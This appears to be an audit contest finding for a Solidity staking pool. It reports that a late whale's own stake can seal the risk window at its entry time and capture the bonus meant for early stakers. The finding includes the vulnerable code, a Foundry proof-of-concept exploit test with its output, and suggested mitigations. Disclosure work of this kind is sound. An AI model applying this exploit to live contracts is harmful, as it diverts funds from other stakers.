FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Late entrant seals `riskWindowStart` at its own entry, collapsing k=2 time-weighting into flat amount-weighting and capturing the bonus

Author Revealed upon completion

Root + Impact

Description

  • The bonus is meant to be split with a k=2 time-weighted formula that crushes late entrants inside the observed risk window. Early, long-bearing stakers are supposed to dominate the bonus while a last-minute whale earns ≈0, because each deposit's score scales with (T − entry)² and a late deposit's entry is floored to riskWindowStart, so (T − entry)² ≈ 0.

  • riskWindowStart is not sealed when the registry actually enters UNDER_ATTACK; it is sealed lazily at the first pool interaction that observes active risk, using block.timestamp of that observation. When nobody pokes the pool after the transition, a late whale's own stake() becomes the first observer and seals riskWindowStart at its own late entry. _clampUserSums then floors every earlier staker up to that same late time, so (T − entry) is identical for everyone and the k=2 score degenerates to pure amount-weighting — letting the whale capture the bonus meant for the early risk-bearers.

// _observePoolState (src/ConfidencePool.sol:799) — seal is observation-driven
if (riskWindowStart == 0 && _isActiveRiskState(state) /*UNDER_ATTACK or PROMOTION_REQUESTED */) {
_markRiskWindowStart();
}
// _markRiskWindowStart (src/ConfidencePool.sol:807)
uint256 t = block.timestamp; // @> OBSERVATION time, not the registry transition time
if (t > expiry) t = expiry;
riskWindowStart = uint32(t); // @> late whale's own stake defines the window start
sumStakeTime = totalEligibleStake * t; // @> eager global reset: everyone floored to t
sumStakeTimeSq = totalEligibleStake * t * t;
// _clampUserSums (src/ConfidencePool.sol:687) — drags earlier stakers up to the late seal
if (userSumStakeTime[u] < stake_ * start) {
userSumStakeTime[u] = stake_ * start; // @> Alice's real early entry erased
userSumStakeTimeSq[u] = stake_ * start * start;
}

Risk

Likelihood:

  • The registry transitions to UNDER_ATTACK and no participant interacts with the pool (no poke/stake/withdraw) before the whale — the common case, since passive stakers never poke. Pools in this state are trivially discoverable on-chain (riskWindowStart == 0 while the registry reads UNDER_ATTACK).

  • Deposits are intentionally allowed during UNDER_ATTACK (DESIGN §3), so the whale can freely stake late and be the first observer. It is an asymmetric race: the attacker acts on the transition block, while the victim must actively monitor the registry to defend.

Impact:

  • The k=2 time-weighting the protocol markets as its core mechanism is fully defeated; bonus distribution collapses to stake-share, so a last-minute insider siphons the premium meant for those who bore the risk.

  • PoC numbers (1000-token bonus, identical stakes/timing): early staker's bonus drops from 995.7 to 0.999 and the whale's flips from 4.3 to 999.0 (~232×). With larger whale/bonus ratios the whale captures arbitrarily close to 100% of the pool.

Proof of Concept

  • forge test --match-contract POC -vv : both tests pass, contrasting intended early-seal vs late-whale exploit:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
/// @notice A late whale seals `riskWindowStart` at its own entry by being the first pool
/// interaction after the registry enters UNDER_ATTACK. This floors every earlier staker to
/// the whale's late entry, collapsing k=2 time-weighting to flat amount-weighting and letting
/// the whale capture the bonus that should reward the early long-bearing staker.
contract POC is BaseConfidencePoolTest {
function _flagSurvived() internal {
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
}
function _claim(address user) internal returns (uint256 payout) {
uint256 before = token.balanceOf(user);
vm.prank(user);
pool.claimSurvived();
payout = token.balanceOf(user) - before;
}
// INTENDED behavior: risk window sealed EARLY (someone pokes when UNDER_ATTACK begins).
// The late whale is crushed by k=2; the early small staker takes essentially all the bonus.
function test_intended_earlySeal_crushesLateWhale() external {
_stake(alice, 100 * ONE); // early, small
// Registry enters UNDER_ATTACK and the window is sealed IMMEDIATELY.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow(); // seals riskWindowStart ~now (early)
vm.warp(vm.getBlockTimestamp() + 20 days);
_stake(bob, 100_000 * ONE); // late whale
vm.warp(vm.getBlockTimestamp() + 1 hours);
_contributeBonus(carol, 1000 * ONE);
_flagSurvived();
uint256 aliceBonus = _claim(alice) - 100 * ONE;
uint256 bobBonus = _claim(bob) - 100_000 * ONE;
emit log_named_uint("[intended] aliceBonus", aliceBonus);
emit log_named_uint("[intended] bobBonus ", bobBonus);
// k=2 crushes the whale: early staker dominates the bonus.
assertGt(aliceBonus, bobBonus * 100, "early seal: k=2 crushes late whale");
}
// EXPLOIT: nobody seals the window early. The late whale's OWN stake is the first pool
// interaction after UNDER_ATTACK, so it seals riskWindowStart at the whale's late entry.
// Every earlier staker is floored to that same late time -> flat amount-weighting ->
// the whale captures ~its stake-share of the bonus, stealing it from the early staker.
function test_exploit_lateWhaleSealsWindow_capturesBonus() external {
_stake(alice, 100 * ONE); // early, small — identical to the intended case
// Registry enters UNDER_ATTACK but NO pool interaction observes it yet.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(vm.getBlockTimestamp() + 20 days);
_stake(bob, 100_000 * ONE); // late whale — this stake seals riskWindowStart = now
assertEq(pool.riskWindowStart(), vm.getBlockTimestamp(), "whale's stake sealed the window at its own entry");
vm.warp(vm.getBlockTimestamp() + 1 hours);
_contributeBonus(carol, 1000 * ONE);
_flagSurvived();
uint256 aliceBonus = _claim(alice) - 100 * ONE;
uint256 bobBonus = _claim(bob) - 100_000 * ONE;
emit log_named_uint("[exploit] aliceBonus", aliceBonus);
emit log_named_uint("[exploit] bobBonus ", bobBonus);
// Amount-weighted: whale (100_000) vs alice (100) => whale takes ~99.9% of the 1000 bonus.
assertGt(bobBonus, aliceBonus * 100, "late whale captured the bonus by sealing the window late");
// Concretely the whale walks away with essentially the whole bonus pool.
assertGt(bobBonus, 990 * ONE, "whale captured ~99%+ of the 1000-token bonus");
}
}
  • Add the above test in test/unit/POC.t.sol

  • Run the following command in terminal.

forge test --match-contract POC -vv
  • You will see the output something simillar to below

Ran 2 tests for test/unit/POC.t.sol:POC
[PASS] test_exploit_lateWhaleSealsWindow_capturesBonus() (gas: 679629)
Logs:
[exploit] aliceBonus: 999000999000999000
[exploit] bobBonus : 999000999000999000999
[PASS] test_intended_earlySeal_crushesLateWhale() (gas: 680044)
Logs:
[intended] aliceBonus: 995696351797418671808
[intended] bobBonus : 4303648202581328191
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.48ms (794.86µs CPU time)


Recommended Mitigation

  1. Gate stake during UNDER_ATTACK entirely (as PROMOTION_REQUESTED already is).

  2. Use Chainlink Automation to call pokeRiskWindow at fixed intervals. Create a new contract that first checks the registry state; if the state is UNDER_ATTACK, call pokeRiskWindow, else do nothing. Then have Chainlink Automation call this contract frequently — every 6 hours or 1 day, etc.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!